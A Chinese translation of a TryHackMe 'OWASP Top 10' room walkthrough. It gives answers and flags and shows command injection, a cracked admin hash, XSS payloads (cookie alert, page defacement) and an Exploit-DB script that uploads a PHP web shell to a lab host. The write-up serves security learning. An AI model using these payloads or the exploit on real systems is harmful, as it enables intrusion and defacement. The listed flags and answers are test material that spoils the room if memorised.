Logo

菜单

发布于 2026-01-06 9 阅读
0

OWASP Top 10 - 详细分析 - TryHackMe

OWASP Top 10 - 详细分析 - TryHackMe

信息
室
名称：OWASP Top 10
简介：tryhackme.com
难度：简单
描述：了解并利用 OWASP Top 10 中的每一项漏洞；这 10 项是最关键的 Web 安全风险。OWASP
Top 10

概述：
在
BlackArch Linux 上安装此 WU 中使用的工具：
1
$ sudo pacman -S exploitdb dbeaver python

命令注入实战#
网站根目录中有什么奇怪的文本文件？

Answer: drpepper.txt
Enter fullscreen mode Exit fullscreen mode

执行 ls 命令列出文件。

css drpepper.txt evilshell.php index.php js
有多少个非root/非服务/非守护进程用户？

Answer: 0
Enter fullscreen mode Exit fullscreen mode

执行 cat /etc/passwd 命令，似乎没有非 root/非服务/非守护进程用户。

1.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.bin:x:2:2:bin:/bin:/usr/sbin/nologin
3.sys:x:3:3:sys:/dev:/usr/sbin/nologin
4.sync:x:4:65534:sync:/bin:/bin/sync
5.games:x:5:60:games:/usr/games:/usr/sbin/nologin
6.man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
7.lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
8.mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
9.news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
10.uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
11.proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
12.www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
13.backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
14.list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
15.irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
16.gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin                 
17.nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
18.systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
19.systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
20.syslog:x:102:106::/home/syslog:/usr/sbin/nologin
21.messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
22._apt:x:104:65534::/nonexistent:/usr/sbin/nologin
23.lxd:x:105:65534::/var/lib/lxd/:/bin/false
24.uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
25.dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
26.landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
27.pollinate:x:109:1::/var/cache/pollinate:/bin/false
28.sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
Enter fullscreen mode Exit fullscreen mode

此应用以哪个用户身份运行？

Answer: www-data
Enter fullscreen mode Exit fullscreen mode

执行 id 命令。uid
=33(www-data) gid=33(www-data) groups=33(www-data)
用户的 shell 设置是什么？

Answer: /usr/sbin/nologin
Enter fullscreen mode Exit fullscreen mode

echo $SHELL 没有返回任何内容，所以让我们尝试 cat /etc/passwd | grep www-data | cut -d ':' -f 7。

/usr/sbin/nologin

当前运行的是哪个版本的Ubuntu？

Answer: 18.04.4
Enter fullscreen mode Exit fullscreen mode

运行 cat /etc/os-release。

1.VERSION="18.04.4 LTS (Bionic Beaver)"
2.ID=ubuntu
3.ID_LIKE=debian
4.PRETTY_NAME="Ubuntu 18.04.4 LTS"
5.VERSION_ID="18.04"
6.HOME_URL="https://www.ubuntu.com/"
7.SUPPORT_URL="https://help.ubuntu.com/"
8.BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
9.PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
10.VERSION_CODENAME=bionic
11.UBUNTU_CODENAME=bionic
Enter fullscreen mode Exit fullscreen mode

打印出今日最佳照片。照片上显示的是哪种最受欢迎​​的饮料？

Answer: Dr pepper
Enter fullscreen mode Exit fullscreen mode 
1.$ ls -1 /etc/update-motd.d/
2.10-help-text
3.50-landscape-sysinfo
4.50-motd-news
5.80-esm
6.80-livepatch
7.90-updates-available
8.91-release-upgrade
9.92-unattended-upgrades
10.95-hwe-eol
11.97-overlayroot
12.98-fsck-at-reboot
13.98-reboot-required
14.
15.$ cat /etc/update-motd.d/00-header
16.#
17.#    00-header - create the header of the MOTD
18.#    Copyright (C) 2009-2010 Canonical Ltd.
19.#
20.#    Authors: Dustin Kirkland <kirkland@canonical.com>
21.#
22.#    This program is free software; you can redistribute it and/or modify
23.#    it under the terms of the GNU General Public License as published by
24.#    the Free Software Foundation; either version 2 of the License, or
25.#    (at your option) any later version.
26.#
27.#    This program is distributed in the hope that it will be useful,
28.#    but WITHOUT ANY WARRANTY; without even the implied warranty of
29.#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
30.#    GNU General Public License for more details.
31.#
32.#    You should have received a copy of the GNU General Public License along
33.#    with this program; if not, write to the Free Software Foundation, Inc.,
34.#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
35.
36.[ -r /etc/lsb-release ] && . /etc/lsb-release
37.
38.if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
39. # Fall back to using the very slow lsb_release utility
40. DISTRIB_DESCRIPTION=$(lsb_release -s -d)
41.fi
42.
43.printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
44.
45.DR PEPPER MAKES THE WORLD TASTE BETTER!
Enter fullscreen mode Exit fullscreen mode

身份验证失效实战

你在达伦的账户里发现了什么标志？

注册用户名为 darren 并登录。

Answer: fe86079416a21a3c99937fea8874b667
Enter fullscreen mode Exit fullscreen mode

你在亚瑟的账户里找到的标志是什么？

注册用户名为arthur并登录。

Answer: d9ac0f7db4fda460ac3edeb75d75e16e
Enter fullscreen mode Exit fullscreen mode

敏感数据泄露（挑战）

请浏览一下这个网页应用。开发者留下了一条备注，表明某个特定目录中包含敏感数据。

提到的目录名称是什么？

Answer: /assets
Enter fullscreen mode Exit fullscreen mode

导航到你在问题一中找到的目录。哪个文件看起来很可能包含敏感数据？

Answer: webapp.db
Enter fullscreen mode Exit fullscreen mode

请使用提供的辅助材料访问敏感数据。管理员用户的密码哈希值是多少？

Answer: 6eea9b7ef19179a06954edd0f6c05ceb
Enter fullscreen mode Exit fullscreen mode

使用 dbeaver 打开数据库。

破解哈希值。管理员的明文密码是什么？

Answer: qwertyuiop
Enter fullscreen mode Exit fullscreen mode

使用 Crackstation 破解密码。
以管理员身份登录。flag 是什么？

Answer: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
Enter fullscreen mode Exit fullscreen mode

XML外部实体 - 可扩展标记语言

XML 的全称

Answer: eXtensible Markup Language
Enter fullscreen mode Exit fullscreen mode

XML 文档中是否必须包含 XML 序言？

Answer: yes
Enter fullscreen mode Exit fullscreen mode

我们能否根据模式验证 XML 文档？

Answer: yes
Enter fullscreen mode Exit fullscreen mode

如何在XML文档中指定XML版本和编码？

Answer: XML Prolog
Enter fullscreen mode Exit fullscreen mode

XML外部实体 - DTD

如何定义一个新的元素？

Answer:!ELEMENT
Enter fullscreen mode Exit fullscreen mode

如何定义 ROOT 元素？

Answer:!DOCTYPE
Enter fullscreen mode Exit fullscreen mode

如何定义一个新的实体？

Answer:!ENTITY
Enter fullscreen mode Exit fullscreen mode

XML外部实体 - 利用

/etc/passwd 文件中的用户名是什么？

Answer: falcon
Enter fullscreen mode Exit fullscreen mode

Falcon的SSH密钥位于哪里？

Answer: /home/falcon/.ssh/id_rsa
Enter fullscreen mode Exit fullscreen mode

猎鹰私钥的前 18 个字符是什么？

Answer: MIIEogIBAAKCAQEA7b
Enter fullscreen mode Exit fullscreen mode

访问控制失效（IDOR挑战）

查看其他用户的笔记。什么是 flag？

http://10.10.125.211/note.php?note=0

Answer: flag{fivefourthree}
Enter fullscreen mode Exit fullscreen mode

安全配置错误

入侵网页应用，找到 flag！

Answer: thm{4b9513968fd564a87b28aa1f9d672e17}
Enter fullscreen mode Exit fullscreen mode

跨站脚本攻击

访问http://10.10.93.135/reflected并构造一个反射型 XSS 有效载荷，该有效载荷将导致弹出窗口显示“Hello”。

Answer: ThereIsMoreToXSSThanYouThink
Enter fullscreen mode Exit fullscreen mode 
<script>alert("Hello")</script>
Enter fullscreen mode Exit fullscreen mode

在同一个反射页面上，构造一个反射型 XSS 有效载荷，该有效载荷将导致弹出窗口显示您机器的 IP 地址。

<script>alert(window.location.hostname)</script>
Enter fullscreen mode Exit fullscreen mode 
Answer: ReflectiveXss4TheWin
Enter fullscreen mode Exit fullscreen mode

现在访问http://10.10.93.135/stored并创建一个帐户。

然后添加一条评论，看看是否可以插入一些你自己的HTML代码。

<b>noraj is bold</b>
Enter fullscreen mode Exit fullscreen mode 
Answer: HTML_T4gs
Enter fullscreen mode Exit fullscreen mode

在同一页面上，创建一个警告弹出框，使其显示在包含文档 cookie 的页面上。

<script>alert(document.cookies)</script>
Enter fullscreen mode Exit fullscreen mode 
Answer: W3LL_D0N3_LVL2s
Enter fullscreen mode Exit fullscreen mode

通过添加评论并使用 Javascript，将“XSS Playground”更改为“我是黑客”。

<script>document.querySelector("#thm-title").textContent = "I am a hacker"</script>
Enter fullscreen mode Exit fullscreen mode 
Answer: websites_can_be_easily_defaced_with_xss
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化

Tomcat应用程序是谁开发的？

Answer: The Apache Software Foundation
Enter fullscreen mode Exit fullscreen mode

哪些类型的攻击会导致服务崩溃？这些攻击可以通过不安全的反序列化实现。

Answer: denial of service
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化 - 对象

请选择以下陈述的正确术语：

Answer: A Behaviour
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化 - 反序列化

在网络上传输数据时，采用的二进制格式叫什么名字？

Answer: binary
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化 - Cookie

如果 cookie 的路径是 webapp.com/login，那么用户需要访问的 URL 是什么？

Answer: webapp.com/login
Enter fullscreen mode Exit fullscreen mode

Secure cookies 所依赖的网络技术的缩写是什么？

Answer: HTTPS
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化 - Cookie 实用指南

第一个标志（cookie 值）

Answer: THM{good_old_base64_huh}
Enter fullscreen mode Exit fullscreen mode 
1.$ printf %s 'gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAYzdkYzQ0ODM4ZTA4NDdiMWI0NTU0NDk0OGE5MmQxOTRxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==' | base64 -d
2.}q(X    sessionIdqX c7dc44838e0847b1b45544948a92d194qX
                                                      3.encodedflagqXTHM{good_old_base64_huh}qu.
Enter fullscreen mode Exit fullscreen mode

第二面旗帜（管理员控制面板）

Answer: THM{heres_the_admin_flag}
Enter fullscreen mode Exit fullscreen mode

不安全的反序列化 - 远程代码执行
标志.txt

Answer: 4a69a7ff9fd68
Enter fullscreen mode Exit fullscreen mode

已知存在漏洞的组件 - 实验室

/etc/passwd 文件有多少个字符？（使用 wc -c /etc/passwd 命令查看答案）

Answer: 1611
Enter fullscreen mode Exit fullscreen mode 
1.$ searchsploit CSE bookstore
2.------------------------------------------------------------------------------------ ---------------------------------
3. Exploit Title                                                                      |  Path
4.------------------------------------------------------------------------------------ ---------------------------------
5.CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting                      | php/webapps/48973.txt
6.CSE Bookstore 1.0 - Authentication Bypass                                           | php/webapps/48960.txt
7.------------------------------------------------------------------------------------ ---------------------------------
8.Shellcodes: No Results
9.
10.$ searchsploit online book store
11.------------------------------------------------------------------------------------ ---------------------------------
12. Exploit Title                                                                      |  Path
13.------------------------------------------------------------------------------------ ---------------------------------
14.GotoCode Online Bookstore - Multiple Vulnerabilities                                | asp/webapps/17921.txt
15.Online Book Store 1.0 - 'bookisbn' SQL Injection                                    | php/webapps/47922.txt
16.Online Book Store 1.0 - 'id' SQL Injection                                          | php/webapps/48775.txt
17.Online Book Store 1.0 - Arbitrary File Upload                                       | php/webapps/47928.txt
18.Online Book Store 1.0 - Unauthenticated Remote Code Execution                       | php/webapps/47887.py
19.------------------------------------------------------------------------------------ ---------------------------------
20.Shellcodes: No Results
21.
22.$ searchsploit -p 47887
23.  Exploit: Online Book Store 1.0 - Unauthenticated Remote Code Execution
24.    URL: https://www.exploit-db.com/exploits/47887
25.     Path: /usr/share/exploitdb/exploits/php/webapps/47887.py
26.File Type: ASCII text, with CRLF line terminators
27.
28.$ python /usr/share/exploitdb/exploits/php/webapps/47887.py http://10.10.74.65
29.> Attempting to upload PHP web shell...
30.> Verifying shell upload...
31.> Web shell uploaded to http://10.10.74.65/bootstrap/img/P82Exx96Uv.php
32.> Example command usage: http://10.10.74.65/bootstrap/img/P82Exx96Uv.php?cmd=whoami
33.> Do you wish to launch a shell here? (y/n): y
34.RCE $ wc -c /etc/passwd
35.1611 /etc/passwd
Enter fullscreen mode Exit fullscreen mode

日志记录和监控不足

攻击者使用的是哪个IP地址？

Answer: 49.99.13.16
Enter fullscreen mode Exit fullscreen mode

正在进行何种类型的攻击？

Answer: brute force
Enter fullscreen mode Exit fullscreen mode
文章来源：https://dev.to/aws-builders/owasp-top-10-write-up-tryhackme-g3a
JavaScript 数据结构：栈：简介
使用 Zettelkasten 和...